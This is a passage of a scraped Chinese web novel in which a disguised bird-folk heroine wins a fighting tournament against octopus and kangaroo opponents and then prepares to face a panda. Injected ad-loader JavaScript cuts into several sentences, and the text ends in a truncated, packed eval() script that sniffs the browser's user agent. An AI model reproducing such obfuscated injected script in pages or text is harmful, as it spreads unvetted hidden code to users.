台上的胜利者被簇拥在火光中,而台下的观众逐渐淹没在无边的阴影下,只能隐约看出身形轮廓。 所有人都不再喧闹,简陋的场合显出奇异的庄重氛围。 火光映射下,似乎所有人都披上了一层野性的光彩,熊熊火焰在众人的眼中摇曳着。 “勇者,请您移步中央大台。”一旁候着的司仪手捧灿金色的斗篷问候沈莫失。 沈莫失接过她手上几乎在发光的斗篷,手一抖展开,是一件短斗篷,放在犀牛等人身上或许连及腰都勉强,但在她身上或许可以及膝盖。 随意地把斗篷别在了肩部,沈莫失随着态度恭敬的司仪去往颁奖处。 一路上,道路两边的观众默默让出位置供其通行,沈莫失觉得这场面似曾相识,好像在她报名那天也是如此。 不过两次给人的感觉多少是不同的。 观众们让出通道后,参差不齐地向几位勇者们鞠躬致敬。 沈莫失微笑着回了半礼,也有人无视了观众,径直往前,还有人激动地与一旁的亲友欢呼。 按照擂台数字在台上站定后,毫无疑问的,沈莫失又是那个凹陷处。 不过现在可不会有人因为这一点来轻视她,那身白金色的斗篷就是她实力最好的证明。 她打量着两边的勇者们,与她对决过的那位犀牛大姐也在场,看来她最终在其他擂台上守擂成功了。 见她看过来,犀牛大姐抱拳按在胸口微微敲击两下向她示意。 沈莫失有了解过,这大概是个简单的致敬的意思,便也学着她回了相同的动作。 除了这位熟人,还有位半生不熟的男性袋鼠,她记得报名那天她有见过他,当时他与朋友打闹,还被朋友敲了个暴栗。 此时这人正一脸激动地与她比划大拇指,尾巴支撑在地上,半仰着上身向她传达自己的佩服之情。 看着有点憨憨啊这位,沈莫失礼貌又不失友好地回了个笑。 除了有过些交集的这些人,还有一只熊族也吸引了沈莫失的注意力,她多看了对方好几眼,不过对方好似并没有注意到她的视线。 在初步打量了一番这一届的勇者们后,司仪们终于是捧着奖牌上来了。 不过为他们颁奖的并不是之前所说的领主,而是其副手——一位章鱼族半兽人。 这位副手据说行事温和,作风完全不似其辅佐那位的领主,其对外公布的信息也格外少,大部分人都只聚焦于领主,很容易将其忽视。 她穿着一身宽松而庄重的礼服,与此世界传统的礼服形制相似却又大有不同,这或许是为其定制的。 毕竟作为章鱼族,她确实有着八只“触手”,四只在下,四只在上,露出的四只手都带着长筒手套。 她的面容看着柔软而又水润,水润这个词并不是夸张,沈莫失这么想着,继续观察这位传说中的副手。 而且这位副手还是沈莫失自来到鬃狮蜥领地后难得见到的身高与她相仿的人。 “失礼了,诸位勇者,领主疾病发作,只能临时由我来为各位颁奖,作为补偿,在其后的一对一对抗赛中,领主会全程出席观赛,还请各位谅解。” 章鱼副手恭谨地向每位勇者致歉,四只手整齐地合在腹前。 那就是今天见不到那位暴君了啊,真遗憾,沈莫失垂眸去找人群中的猎刀。 猎刀面上看不出有什么遗憾,摇摇头让沈莫失别再看自己了。 场上的几位勇者看着倒是失落得明显多了,那位袋鼠还皱着眉发出一串拖长的“啊——”声,让所有人都能感受到他的失望之情。 不过在这个世界上,特别是在鬃狮蜥领内,疾病发作是个可以被所有人接受的理由。 这个疾病默认是指的紊乱症,由于领地内的兽人占总人口比例很高,紊乱症患者也比起其他两个领地要多出不少,几乎所有人都对发病的患者很体谅。 既然是因为紊乱症发作才无法到场,那也没什么好说的了,毕竟以那位的性格,坚持到场才会造成真正的灾难。 曾经见过那位发作的观众都对此心有余悸。 短暂的失落情绪过后,八名勇者们都对此事表示了理解,沈莫失混在这群人之间, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也说了几句套话,就接过了章鱼副手递来的奖牌。 “感谢您向我们展示的勇气和武力,原母神保佑您。”章鱼副手笑着向沈莫失道贺。 这位能获胜,不仅是她,或许所有人都没有意料到。 真是位不可思议的半兽人。 章鱼在听闻了她的事迹后难免也对其多了几分好奇心,多瞄了一阵沈莫失后,才转向下一位勇者。 简单的颁奖仪式结束后,章鱼副手又介绍了后续的赛制安排。 “接下来是一对一的对抗赛,由抽签决定对手,请轮流上前抽取号码,第一轮由1号与2号、3号与4号为对手,以此类推。” 沈莫失将手伸进抽签桶中,掏出自己的号码,是7号。 将手上的号码向其他人展示后,沈莫失与拿着8号号码牌的对手对上了视线。 对方看着和章鱼副手是同族,不过与章鱼副手不同,这位是章鱼族的兽人,身高也比章鱼副手要高大得多了。 沈莫失迟疑地把目光从对方看着软绵绵湿漉漉的紫色脑门上收回。 她想和其他组一样,友好地与对方握个手,却不知道在对方这个族群内,是去握躯干上长出的触手更礼貌还是握脑袋上长出的触手更礼貌些呢。 章鱼族兽人毕竟还是小众了些,沈莫失没了解过这一族的礼仪。 或许是看出了她的迟疑情绪,8号的章鱼兽人率先伸出了触手——躯干上的某一只。 沈莫失微不可查地松了口气,握住对方绵软的触手。 “不好意思,我刚才打架时候手套开裂了。”为了配合沈莫失的身高,她微微俯下了身。 虽然对方看着高大,可意外的是个软萌的声线,声音细细弱弱地传到沈莫失耳边。 章鱼族人戴手套与人交际貌似是一种公认的礼仪。 不过沈莫失并不在意这一点,其实章鱼须须摸起来温凉又柔软,触感挺好的,当即便上下晃了晃交握的手。 “没事,我很喜欢你的触手。” 闻言,章鱼妹子抬起脸部的触手挠了挠自己光滑的头部,腼腆地笑了下。 沈莫失看着面前的妹子想到,该说不说呢,这造型还给她一种熟悉感,但她很确信现存的记忆中没见过类似的造型。 或许又是和她遗失的那部分记忆有关吧。 说起自己遗失的记忆,她都在鬃狮蜥领内游荡多少天了,总觉得能在这里遇到新的碎片,难道真的是她感觉错了吗? 一瞬间的思绪划过脑海,沈莫失与章鱼妹子在简短的介绍后把注意力又放回了副手身上。 那位气质温婉的副手正看着她们微笑,“看来各位都找到自己第一轮的对手了,比赛将在3日后进行,请各位务必准时到场。” 夜晚风大,沈莫失被吹得想打喷嚏。 听完了规则,在与各位或熟悉或陌生的勇者们道别后,她就急着回到温暖的旅馆去。 随着她转身的动作,身后灿金色的披风飞扬,划出圆润的弧度,火光映照下,像闪烁着光芒一般。 猎刀看着迎面而来的沈莫失几乎感到些许恍惚。 随即,她拉了拉兜帽掩住面容,只隐约露出一抹嘴角的笑意来。 两人错开时间回到了旅馆内,沈莫失几乎是沾床就睡。 一旁的猎刀看着她这幅呼呼大睡的样貌,摇着头为她整理衣物。 现在的沈莫失还不知道自己在领地内造成了多大的轰动。 25.清汤大老爷 第二天一早,如以往一般,旅馆的人送来了当日的报纸。 昨天折腾了一天,在此之前也差不多把周围的路都摸熟了,沈莫失今天没打算出门,抱着被子窝在床上,等猎刀把东西递过来。 先是新的衣物,再是早餐,最后到报纸。 “嗯?”沈莫失一看到今日的头版头条就挑眉,随即展示给了一旁的猎刀。 “快来看快来看,我上报纸了诶!”沈莫失像是个向家长展示满分试卷的小孩子一般高兴。 猎刀报纸一拿到手就看到了,此时还是十分配合沈莫失的演出,又仔细打量了一番面前的报纸。 除了角落里写着某个人贩子被抓,希望近期有丢孩子的家长来认领的新闻外,剩余的版面几乎都被沈莫失占据了。 那张抱着猎豹的照片也在其中,当然最显眼的还是沈莫失披着披风的威风模样。 明明是她是八位勇者中身形最小的那一位,可或许是因为记者们都在台下,仰视的角度将沈莫失拍得十分高大,火光跳跃在她的眼中,好一个意气风发的勇者模样。 这幅画面猎刀刚才就欣赏过一次了,更别提昨晚她还在现场呢。 可现在再看到还是会不禁高兴起来。 “真了不起。”猎刀很自然地抬手摸了摸沈莫失的发顶。 猎刀没觉得这动作有哪里不对劲,她一向是这么对待红雪和钟欢的,现在赖在床上的沈莫失在她看来和自家的孩子也没什么差别。 沈莫失倒是难得愣了一下,在猎刀松手后,也抬手摸了摸自己的头顶。 “怎么了吗?你要是不喜欢,我以后不这么做了。” 猎刀见她这副模样有些疑惑。 却见沈莫失突然绽开笑来,摇了摇头,“嗯嗯”两声表示否认。 猎刀听到这两声,觉得她确实跟红雪是越来越像了。 “一向是我摸别人的头诶!”她眼里放光,“没想到有一天也有人来摸我的了。” 话音还未落,沈莫失一个挺身扑向了猎刀,跪坐在床沿整个搂住了猎刀的腰。 “猫好!继续!” “呀!”猎刀被她突如其来的动作撞得后退了几步,又迅速稳住脚步,接住了这个大龄“女儿”。 或许称其为“孙女”也没什么问题吧。 猎刀想到了红雪带回沈莫失的那天,谁会知道后续她们之间会发生这么多事呢。 看着怀里不断蛄蛹并发出诡异笑声的沈莫失,猎刀突然也笑了出来,摸着她的头背夸奖道。 “我们家沈莫失真是太了不起啦。” 比赛间隔的这三天,沈莫失都没再出门,倒不是不想出,而是她现在多少算是个名人了,还算是正当红的那种。 只要出门就会被人认出来,即使对方不上前来搭话,也总会在见到她的时候一轮一番,比如“她到底是什么鸟人啊”,“这鸟人实在是太厉害了”,诸如此类。 沈莫失知道在这个世界上,“鸟人”只不过是最普通不过的一个词汇,没有丝毫贬义,只是表示她是个鸟族人的意思罢了。 但她还是会有一种被骂到了的微妙感。 早知道不扮成鸟人了,被窝里的沈莫失默默腹诽。 出于这种微妙的情绪,她选择了和猎刀一起在旅馆里猫到了比赛当天。 …… 比赛当天。 今天的天气不像上次比赛那般晴朗,是个阴雨天,幸好雨势不算大,勉强可以不撑伞。 可是这么冷的天气加上下雨,让沈莫失这个怕冷的家伙十分不适应。 猎刀的体温总会比沈莫失高一些,而且她的皮毛自带防水功能,在这种天气里,沈莫失几乎想要贴着猎刀不放。 但她也知道这种事情想一想就可以了,于是最终还是吸着鼻子上了擂台。 第一轮的对手是那位腼腆的章鱼小妹,对方独特的外形给沈莫失留下了很深刻的印象。 她穿得很单薄,至少比沈莫失这个一层叠一层的样子要单薄得多了。 “你穿这么多,不会影响到你的发挥吗?”开打前,章鱼小妹犹豫着开口询问沈莫失。 沈莫失摸了把红彤彤的鼻头,“冷嘛,没办法。” 穿多些总比冻感冒好,打架大概率是打不死她的,可生病真的能让她难受得生不如死。 不管是发烧到浑身酸痛,还是擤鼻涕到皮肤脱屑,再还有头疼到睡不着,都不是什么愉快的回忆。 并且不管是吃药还是不吃药,那一个星期都没法过得舒坦。 她真的很讨厌生病,如果是自己一个人的时候,那就更讨厌了。 想到曾经感冒的经历,沈莫失面色沉重地告诫章鱼小妹道:“年轻人,该穿的都要穿上啊。” 她已经变成曾经的自己最讨厌的说教年轻人的大人了。 对面的章鱼打量了一番自己,摇了摇触手疑惑道,“我穿的够多了吧。” 可我着看你都觉得冷。 沈莫失再一次感慨了一番这个世界上的兽人的身体素质,随即摇了摇头,“没事,我自己的问题,我们早点结束吧,对我来说今天实在是太冷了。” 出门前她还专门叮嘱了旅馆给她熬一份姜汤来着。 沈莫失率先摆出了起手姿势,章鱼小妹见状也不再纠结她的话,作出警惕的神色。 见对方已经准备好了,沈莫失迅速上前发动攻击,今天她想要速战速决。 好快!章鱼瞳孔放大,表皮颜色迅速变幻,向着沈莫失冲来的方向喷出一口墨汁迷惑视线。 今天的天气其实对她很有利,空气中弥漫着充足的水汽,擂台的地面也足够湿滑,她的触手可以轻易地在上面滑动。 她的墨汁有些独特之处,像是黑雾一般弥散了开来,几乎不像是在地面上,而像是在水中。 黑雾弥漫的速度很快,马上蔓延了小半个擂台。 台下观众发出一阵阵遗憾的嘘声,“我就知道,上次的守擂赛也是这样的,等黑雾散了,比赛都结束了。” 也有人表示惊叹,“不愧是水族啊……” 而台上,沈莫失深陷黑雾中,视野极大受限。 在不知道方位的情况下,乱走动很容易脱离擂台区域,她干脆也就不动了,既然看不清,那就等着对方送上门来。 说起来,这个烟雾弹一般的效果真的科学吗? 在不科学的世界里讲究科学的沈莫失还没想完,一只滑腻的触手就向她侧颈探来。 果然。 守株待章鱼的沈莫失一个后倾接转头,抬手想要抓住这只触手将对方拽出来。 她也确实抓住了这只触手,不过与初见那天握手时温凉又柔软的感觉不同,今天的触手摸起来冰凉又滑手。 她一用力抓握,对方的触手就从掌心划走了,只留下一手的粘液。 沈莫失心有余悸地将满是粘液的手在衣摆上蹭了蹭,战斗时候抓住章鱼须须的感觉一点都不好。 她潜意识里只觉得是抓住了什么冰凉又粘腻的死物,这种糟糕的触感瞬间从手心传递到了大脑,让她不禁头皮发麻。 如果撸起层层叠叠的袖子,那她的鸡皮疙瘩估计也已经起了一手臂了。 咿—— 沈莫失打了个激灵,迅速修改了此前制定的抓住她粗暴打一顿的计划,等待对方再次送上门来。 章鱼小妹没有让她等很久,或许她也还记得沈莫失说的想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要速战速决的话。 这次不再是对准脑袋下的脖子了,而是向着脚脖子走。 几条触手贴着地面滑向沈莫失的脚踝,沈莫失隐约听到了水声,却故作不知,由着对方小心贴近后,一把把她提了起来。 “芜湖。”在空中作摆锤的沈莫失短暂地脱离了黑雾的范畴,她眼一瞄,确定了自己在台上的方位。 其余的触手也紧跟着缠上了沈莫失,想要固定住她的手脚,同时,那根抓住了沈莫失的触手绷直了用力挥舞着,看来是打算把沈莫失直接甩出台下。 沈莫失怎么可能坐以待毙。 借着脚踝与触手的相交处发力,她在空中旋身躲过了其余的触手,被抓住的那条腿用力向后一甩,借着反作用力向着章鱼本体的方向冲去。 …… 不远处的高台上。 有着雪白鳞片与翠绿双眼的兽人注视着擂台上的那片黑雾,其颈背部与头部覆盖着与面上同色的棘状鳞片,有规律地一层一层蔓延到衣领内。 她微启唇,露出满嘴紧密排布的尖齿,她的牙明显比起同族们的要更加具有威慑力。 “我记得那个是你家亲戚?” 侧后方,注视着同一个方向的章鱼副手回道:“算是,我们的关系不算近,不过是章鱼族人少见,所以大众以为我们都是一家人罢了。” “哦。” 克拉芙季雅随意地应了声,百无聊赖地看着面前的比赛,一手摆在椅子扶手上,一手以手肘撑着扶手,手腕向内垂下,拖着腮帮子。 就差打个哈欠表示自己的无聊了。 她活该。 颁个奖都不肯来,现在好了吧。 看着对方这幅要死不活的样子,副手不发一言,继续关注着比赛情况。 没安分多久,克拉芙季雅又转头,拖着音调说道:“我还有好多文件没批吧。” 仗着自己是站着,现在与对方的身高差并不明显的副手面不改色,把对方的脑袋又转了回去。 “多少人都在看着您呢,领主就该有个领主的样子。” “至于文件,”章鱼副手露出一个冷笑,“您能说出一个今天需要批改的文件名称我就放您回去。” 还文件呢,哪份文件不是她交给她的。 被迫注视着赛场的克拉芙季雅并不罢休,“那应该总有我要做的事情的吧?” “您要做的事情就是好好坐在这里等所有赛事结束。”副手毫不留情回道。 克拉芙季雅发出一阵不满的哼声。 反正台下的民众都听不到,章鱼副手也就当无事发生。 “哦!”克拉芙季雅突然直起身来,“那就是那只鸽子对吧?” 她指着正被章鱼小妹甩出黑雾区的沈莫失问道。 副手自然也看到了,“是的,就是她。” “是乌鸦岭来的鸽子啊……那只乌鸦地盘上的能是什么好东西诶。” 她这么说着,探出舌头舔了舔上唇,那双迷人的绿眼睛里,神色迷乱又癫狂,“我应该可以吃吧。” “有病吃药。”副手的回复简单又直接。 “那我咬一口?” 克拉芙季雅试图讨价还价。 副手微不可察地叹了口气,在她犯病的时候,她还是知道怎么安抚她最有效的。 “她武术这么强,肯定是经常锻炼的人才,肉很柴的,而且看着很瘦弱,肥肉不多口味肯定不好。” “那我也想尝尝。”她还是不肯轻易罢休。 “会卡牙缝,”副手点点头斩钉截铁道,“肯定会。” 克拉芙季雅迷乱的神色迅速消散,挂上嫌弃的表情。 “咿——那还是算了吧。” 26.姜汤来咯 并不知道高台上有人曾垂涎过自己的□□的沈莫失,还在与章鱼小妹的触手作斗争。 借着对方的触手,她一个俯身往下冲,试图接近对方的本体。 对方明显有些慌乱,差点就松开了那只缠着她的触手,但很快又反应了过来,挥舞着触手想把沈莫失甩出去。 这次是沈莫失不肯放开她了,她在空中几个旋身,把章鱼的触手牢牢卷在了自己身上。 随着这一连串的动作,她已经很贴近黑雾中的章鱼了。 章鱼小妹应该很少被人如此近身,面上的触手大张。 沈莫失自然没放过这个难得的机会一拳正中对方的面部。 手感很奇妙,就像是打在了一片水花上,章鱼的面部也确实如水波般抖动了下,衬得对方的表情显得有些扭曲。 这算是生物防震吗? 沈莫失难掩吐槽欲,虽然看着是给对方造成了很大冲击样子,但明显力量都被对方独特的生理构造卸掉了。 被打了一拳的章鱼下意识想再隐入黑雾中,但沈莫失怎么可能会放她走,稳稳地缠住了她不让她溜走。 幸好对方的反应速度不算快,沈莫失想着,如果她能像之前遇到的那位猎豹姐姐一样灵敏的话,难搞程度还会再上一个台阶。 沈莫失以手腕绕住对方的触手硬拉过来,有粗糙的衣物相隔,这些触手也没那么容易滑走了。 “嘤!”章鱼小妹瞪大了眼,滑腻的触手与湿滑的地表在她跑路时是优势,而在这种“拔河”赛里就不是了。 看着她的动作,章鱼不禁惊叫出声:“你你你、你要做什么?” 沈莫失露出一个安抚的笑,“别怕,放轻松,既然你不怕钝击,那就不会很痛的。” 话音未落,就毫不留情地开始原地转圈,在不松开对方的情况下转速越来越快。 既然拳头对对方没作用,那干脆直接把对方甩下台就好了。 “哇啦啦哇。”除了被抓住的那只,章鱼小妹其余的触手包括五官在内,都在风中一通乱舞,分不清甩出去的是口水、泪水、粘液还是雨滴。 找准了离擂台边缘最近的方位,沈莫失果断松手,就像是掷出了一个巨型链球一般。 感受着对方滑腻的触手从手心滑出,沈莫失甩了甩手,又在衣物上擦去多余的粘液。 “砰”的一声巨响,伴随着观众们的惊叫声一并传来,沈莫失知道计划成功了。 黑雾也终于逐渐散去,沈莫失打量了下自己的外衣,满是奇奇怪怪的水渍,干脆脱了下来,小心地把外层向内叠起,捧在手里。 正好这么一通动作下来,身体也热起来了。 裁判宣布沈莫失获胜后,她一个跳跃从台上跃下,笑着把被自己转晕了的章鱼小妹拉了起来。 “呜呜谢谢。” 章鱼摇摇晃晃地被拉了起来,四条触手在地面上滑来滑去,很难找到正确的方位感。 最后干脆放弃了,一屁股坐回了地上任由这股眩晕感支配自己。 除了眩晕感,对方确实没有什么地方受伤的样子。 沈莫失见对方在地上像滩水一般自在地伸展触手的模样,也放下心来。 捧着自己的外衣,沈莫失好奇地开口问道:“章鱼族人不是可以自断触手的吗?被我抓住的时候你怎么不用这一手?” 这还是她这几天新鲜了解到的知识,断手后还能长出来,给她留下了格外深刻的印象。 瘫在地上的章鱼小妹难为情地挠了挠脸颊,依旧是那细声细气的软萌声线,“会痛的嘛。” 沈莫失失笑道:“那还是别用了。” 与章鱼小妹的第一战告捷,她第二战的对手会在5号与6号之间决定,取决于哪位在今天获胜。 沈莫失遥望了眼隔壁擂台,擂台之间间隔不算近,烟雨朦胧下她只能看到两个人影缠斗在一起,暂时看不出胜负情况。 在冷风里打了个寒噤,沈莫失抽抽鼻子,选择先回到温暖的旅馆里去,获胜者等着旅馆的消息就是了,反正第二场对战要到明天。 这次领主要来观战,对沈莫失的实力有了信心的猎刀就没再到场,待在旅馆里给沈莫失准备姜汤,“再多放些糖块吧?她爱吃甜的。” 一旁的厨子心惊胆战地看着她的操作,顾及到对方也是领主的贵客没好意思插手,偷偷打发自己的小徒儿去另熬一锅普普通通的姜汤来。 沈莫失正好就在这个当口回来了,听到前台的传讯,猎刀高兴地放下了锅勺,“麻烦你帮我热着,我先去找她,等姜汤好了直接送去我们房间。” 厨子笑着点了点头,见对方出门,才一脸凝重地回头,望向锅里那完全与姜汤搭不上边的不明汤剂。 “你回来了!我刚好在给你熬姜汤呢。”猎刀欢快地迎向沈莫失,接过她手上的外衣。 “怎么连衣服都脱了?”猎刀疑惑地展开这件外套,见上面沾满了黏糊糊的液体。 沈莫失脱下沾满了水渍的鞋,向她简单说明了自己这次打赢章鱼的经过。 猎刀听到她被章鱼缠着脚踝拎到半空的时候就挂上了担忧的神色,又听闻沈莫失用身体缠住对方的举动,更是担心得不得了。 “怎么了吗?”沈莫失有些疑惑,看着猎刀走过来蹲下,撩起她的裤脚,又捋下她的袜子,再撩起她的裤脚。 “诶?”沈莫失抬起这只被章鱼缠过的脚,看着上面浅粉色的几个章鱼吸盘印,“还蛮好看的嘛。” 看着她这幅傻乐的模样,猎刀抖了抖胡须,“你看看别的地方有没有受伤了,有没有比较深的印子,活动没有影响吗?” 沈莫失转动了几下脚踝,“一切都好。” 猎刀松了口气,“和章鱼兽人打架很容易会受伤的,很多时候你都察觉不到,幸好人家也没下狠手。” “嘿嘿,”检查完后,沈莫失干脆把脏兮兮的外裤脱了丢在一旁,“对方看着人就不错。” “咚咚咚。”还没聊完,门外就想起了敲门声。 “什么事?”沈莫失停下话,向外喊道。 “送姜汤的。”门外响起一道年轻的声音。 沈莫失还没反应过来,猎刀就先去应门了,“是我熬的姜汤来了。” 闻言,沈莫失明显僵了一下,回想起她刚回来时猎刀说的话,刚好在给她熬姜汤? 沈莫失紧张地吞咽了下,自从猎刀的病治好后,她还从没亲自下过厨呢,不知道猎刀魔鬼一般的厨艺里到底有几分是受到了紊乱症的影响,几分是出于“天赋”呢? 带着复杂的情绪,沈莫失看到了至少从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色泽上没有什么问题的正常姜汤。 沈莫失谨慎地拿起碗闻了闻,味道闻着也是正常的。 不过还不能掉以轻心,上次猎刀下厨她也没闻出什么来。 没等沈莫失下定决心喝一口,猎刀率先发出了疑问,“姜汤是这个颜色的吗?” 她将肉垫贴在了脸侧,歪着头一副疑惑的模样,这个小动作沈莫失很熟悉,她顺着猎刀的视线看向了那位年轻人。 难道这个世界上的姜汤煮出来不是姜黄色的? 端着姜汤来的年轻人顿了顿,瞟了眼那碗汤,点点头道:“是的,姜汤就是这个颜色的。” “我记得我是拜托你师傅的,当时不是这个颜色啊,你师傅呢?” 师傅她突然晕过去了,在喝了口姜汤后。 年轻人瞄了眼猎刀没敢说出真相,“姜汤熬一阵子会变色的,这是正常现象,师傅在准备晚餐呢。” 沈莫失看到那年轻人神色就大致猜到真相了,给她递了个眼色,又暗暗比了个大拇指,怀着对那位陌生大厨的感激之情一口干了这碗姜汤。 “味道很好啊,猎刀你的厨艺原来越好了。” “是嘛。”猎刀高兴地又给沈莫失盛了一碗,没再纠结颜色问题。 沈莫失笑着点了点头,给演技明显不过关的小年轻打足了掩护。 …… 第二日,天气比起昨日好多了,艳阳高照。 昨日共淘汰了四人,沈莫失今天的对手是6号——那只在颁奖仪式上对着她比大拇指的袋鼠。 对方依旧是一脸开朗到让沈莫失觉得对方有些憨憨的模样,一上台就热情地凑到了沈莫失身边,伸出手向她问好。 “你好!”袋鼠低头弯腰,一脸期待地看着沈莫失。 沈莫失看着自己面前这位胸肌格外发达的肌肉男,对方比昨天的章鱼小妹穿得还风凉,只有一件背心,紧紧地绷住了身上的肉块。 这个世界上的兽人多少有些离谱了,又在心里吐槽了一次的沈莫失礼貌也地伸出手去,“你好。” 见沈莫失回应,他笑得更灿烂了,激动地握住沈莫失的手上下摇晃。 沈莫失暗中使劲想要把手抽出来却未果,袋鼠牢牢地抓住了她的手不放,而且看样子自己都没意识到这一点。 她记得她是来打架的,沈莫失的手被对方带着晃动了好一阵子,满脑门子问号,难得被一个人搞得有些无措了。 台下,有人深深地叹了口气,拍着脑门不想看到自己朋友这幅傻样。 最终,大概是考虑到台上还有个被自己朋友迫害着的可怜人,他冲着那只袋鼠大声喊道:“这是在比赛,可以开打了!” 好歹还记得这是在公众场合,朋友没把平时埋汰他的那些话说出来。 一旁的裁判抱着胸点头,本以为这两人只是仪式性地赛前打个招呼,没想到这个招呼打不完了,“没错,请两位尽快开始。” “哦,是哦,”被提醒了的袋鼠小哥终于后知后觉地松开了沈莫失的手,连连鞠躬道歉,“不好意思不好意思,我太佩服你了。” 沈莫失摆摆手表示并不在意,也没有探究他为什么会这么佩服她,直接摆出了起手式,“我们开始吧。” 袋鼠小哥见状也严肃了神情,“呜哦!” 27.难以招架的对手 这位袋鼠小哥不是个容易对付的对手,或者可以说很难缠。 不过也对,都到这一轮了,怎么也不可能有容易对付的家伙了。 在与对方简单交手过后,沈莫失保持着一点距离警惕着对面的动作。 袋鼠半弓起身躯,以尾巴作为支撑,双脚灵敏地起跳追击沈莫失。 他的下肢力量很强,由于那条健壮的尾巴,他相当于是有第三条腿来保持平衡,如果凑得过近了,很容易就会被对方的双脚踢到。 与赛前那傻乎乎的模样不同,进入战斗状态后的袋鼠面无表情,显得格外冷酷。 沈莫失瞥了眼对方身前那对尖利的爪子,即使不算他的踢击,光是这对爪子也很危险了。 兼具了力量和敏捷啊……她要是也有章鱼小妹那样的触手就好了。 沈莫失暗自叹了口气,一边应付袋鼠的拳脚,一边飞快思索起应对的方法来, 果然还是绕背吧。 说干就干,沈莫失瞅准了袋鼠再次起跳踢击的时机,没再选择向后退避,而是一个矮身冲向袋鼠的方向,从对方跃起的身下绕到了后方。 没等对方反映过来,沈莫失顺着矮身的动作接了一个丝滑的滑铲,本就只有尾巴在支撑着身躯的袋鼠无法再保持平衡,歪倒在擂台上发出砰的一声。 好机会! 沈莫失抓住时机,双手合抱起袋鼠的尾巴,试图借着尾巴抡起对方转圈,像是昨天对付章鱼那般,用大风车的招式把对方甩下台去。 可遗憾的是,由于两人的身高差,还有袋鼠比起章鱼重得多的体重,沈莫失抡人的举动完全没有发挥出与昨日甩章鱼一样的效果。 首先就是袋鼠并没有被抡得离地过高,并且他还伸出尖利的爪子在地面上摩擦,发出刺耳的噪音与零星火光。 这一举动大大增加了沈莫失抡他的阻力,让她没法这么轻易地把他甩出场外。 与此同时,有了地面借力的袋鼠使劲甩尾,试图把尾巴从沈莫失手里抽出来,或是希望借此接近沈莫失,就像沈莫失昨天对章鱼做的那样。 ——有时候你抓住了对手,可这同时也意味着对手抓住了你。 沈莫失自己拿来对付过别人的招数,自己怎么可能上当。 她抓着对方的尾巴轻哼一声,脚步不停,在地上不断挪移,确保袋鼠的爪子够不到她。 可这样的动作同时也为抡人造成了一定的阻力。 沈莫失感受着对方逐渐加大的拉力,她当然知道这一招对袋鼠可能会不太适用,所以把对方甩出去并不是她这一招的目的。 沈莫失坚持着拽住对方不放手,不过所有人都能看出来,她其实再坚持不了多久了,袋鼠自然也发现了,又加大了拖拽的力道。 在感受到拉力足够大时,沈莫失咬着牙牵起了嘴角,露出一个恶趣味的笑来,突然加大了拖拽袋鼠的力气。 袋鼠被她一惊,看她的表情就知道没安好心,下意识也加大了力道,却没想到这一举动正中沈莫失的下怀。 感觉到对方加大的力量,沈莫失笑得更开了,在所有人都没反应过来时,突兀地松开了原本死死拽住袋鼠尾巴的两双手。 迎着袋鼠惊慌睁大的双眼,沈莫失就这么抬起双手,自然地竖在胸前,像是在向对方投降一般。 随着袋鼠无法控制地向擂台外飞去的动作,沈莫失又晃了晃胸前的两只手,这下意义分明了,原来是在向对方道别。 与昨日相似的“砰”的一声巨响从擂台外传来,观众们早已熟练地让出了一个空白区域,供给这位袋鼠小哥落地。 “7号获胜!” 裁判宣布了获胜人选,观众们齐齐欢呼出声,他们已经不再惊讶于沈莫失这位瘦弱矮小“鸟人”能获胜这件事了,而是期待起对方究竟能赢到什么地步。 距离“神选者”的宝座,她只有一步之遥。 被摔懵了的袋鼠小哥在朋友的帮助下,从地上站起了神来,上下拍了拍沾满了灰尘的背心,一下擂台就卸下了那冷酷无机质的表情,回到了最初那般的傻憨憨模样。 几个轻快的蹦跳就凑到了刚下台的沈莫失身边,“呜哦!我就知道你超厉害的。” 说着,他伸出那有着又长又锋利的爪子的手。 这次不是要死死抓住沈莫失了,而是比划出了两个大拇指,激动地晃来晃去,就像他在勇者仪式上做的那样。 沈莫失挑眉,拍了拍袋鼠结实饱满的手臂肌肉,学着他的模样也比划出两个大拇指来。 “你也超级厉害的。” “嘿嘿。”袋鼠闻言,脸上绽开灿烂的笑,几乎露出两排完整的大牙来。 “加油!一定要赢到最后哦!” 应下了对方的祝福,沈莫失挥挥手告别输了也像是要开花一般的袋鼠小哥和对方的友人,把目光移向仅剩的最后一个擂台的方向。 今天她与袋鼠小哥的战斗在前期墨迹了很久,在她想办法抡袋鼠的时候,对面擂台已经决出了胜负了。 胜者甚至来她的台下观战了,最后的胜者就将在她们两人之间决出。 沈莫失深吸一口气看向那只圆润的熊族兽人。 这人就是在勇者的颁奖仪式上,她多看了好几眼的那位,不过当时的她并没有注意到她的视线。 迎着对方充满战意的眼神,沈莫失也不露怯,回了一个充满自信的微笑。 对方见她回应,稍顿了顿,隔着一段距离对沈莫失行了一礼,没等沈莫失在回应,就转身离开了擂台区。 沈莫失看着对方远去的身影,有预感到明天她要面临的不会是一场简单的战斗。 不光是因为对方的战斗力,还有一个很重要的原因是,这位熊族的兽人…… 她除了眼圈、耳朵、吻鼻、四肢、肩等部位是黑色,其余部分都呈乳白色,整个人只由黑白两个色块就可以组合出。 很明显了,对方不仅是一位熊族兽人,还是一位熊猫族兽人! 沈莫失摸了摸自己的心口,怎么回事啊!一想到明天要和对方打架,心里又是愧疚又是激动的。 让她去打红雪这个小孩子她可能都没有这么强烈的负罪感。 沈莫失难得挂上了痛苦面具,陷入了不被任何人理解的纠结中。 不过毕竟都到了这一步了,如果放水严重或是弃权什么的,对方肯定会更不好受。 沈莫失回忆起对方那充满战意的一眼,还是决定要好好与对方打一场。 …… 次日。 终于到了最后一场战斗,台下的观众也明显比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 